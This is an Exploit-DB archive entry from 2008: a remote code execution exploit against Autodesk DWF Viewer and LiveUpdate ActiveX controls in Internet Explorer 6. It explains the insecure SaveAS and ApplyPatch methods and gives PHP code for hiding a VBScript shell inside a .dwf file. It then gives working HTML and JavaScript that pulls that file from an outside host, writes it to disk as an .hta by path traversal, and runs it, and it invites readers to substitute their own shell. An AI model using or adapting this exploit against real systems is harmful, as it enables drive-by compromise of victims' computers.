Autodesk DWF Viewer Control / LiveUpdate Module - Remote Code Execution

EDB-ID:

6630




Platform:

Windows

Date:

2008-09-30


<!-- 
Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit
by Nine:Situations:Group::bruiser 
site: http://retrogod.altervista.org/
tested against IE6

tested software:  Revit Architecture 2009 sp2
                  Autodesk Design Review 2009 (which also comes with Revit)


dll settings (both):
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class 
(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method 
which allows to store locally files with arbitrary extension.
The second one is related to the ApplyPatch() one inside the UpdateEngine
class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to launch an arbitrary 
executable by the second argument. Note, that the first one, alone, allows
arbitrary code execution. The impact of the second one is limited if you cannot 
specify command arguments or launch a file of yours.

The embedded dwf file (located at the url http://retrogod.altervista.org/suntzu.dwf)
has been created modifying an existing one, replacing a .png resource file with 
a vbscript shell through the following script (note the PCLZIP_OPT_NO_COMPRESSION flag,
this has been used to preserve the code, note also the dwg files are
essentially zips) :

<?php
    //library:
    //http://www.phpconcept.net/pclzip/index.en.php#download
    include_once('pclzip.lib.php');

    $archive = new PclZip('suntzu.dwf');
     
    //modify path
    $list = $archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);
    
    if ($list == 0) {
      echo "ERROR : ".$archive->errorInfo(true);
    }
?> 

take a look to suntzu.dwf with an hex-editor...
This exploit launch calc.exe but you can embed your own vbscript shell
and extended shell commands, by using the php code given.
-->
<HTML>
<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
WIDTH="640" HEIGHT="480"
id='CExpressViewerControl' >
<PARAM NAME="Src"
VALUE="http://retrogod.altervista.org/suntzu.dwf">
</OBJECT> 
<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B' 
id='UpdateEngine' />
</OBJECT>
<script type="text/javascript">
<!-- 
   strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try
{
   CExpressViewerControl.SaveAS (strPatchFile); 
}
catch(e)
{
   document.write("impossible to save suntzu.hta ...");
}
finally
{
}
   strProductCode="whatever" ;

try
{
   UpdateEngine.ApplyPatch (strProductCode , strPatchFile);
}
catch(e)
{
   document.write("impossible to execute suntzu.hta ...");
}
finally
{
}

--> 
</script>

# milw0rm.com [2008-09-30]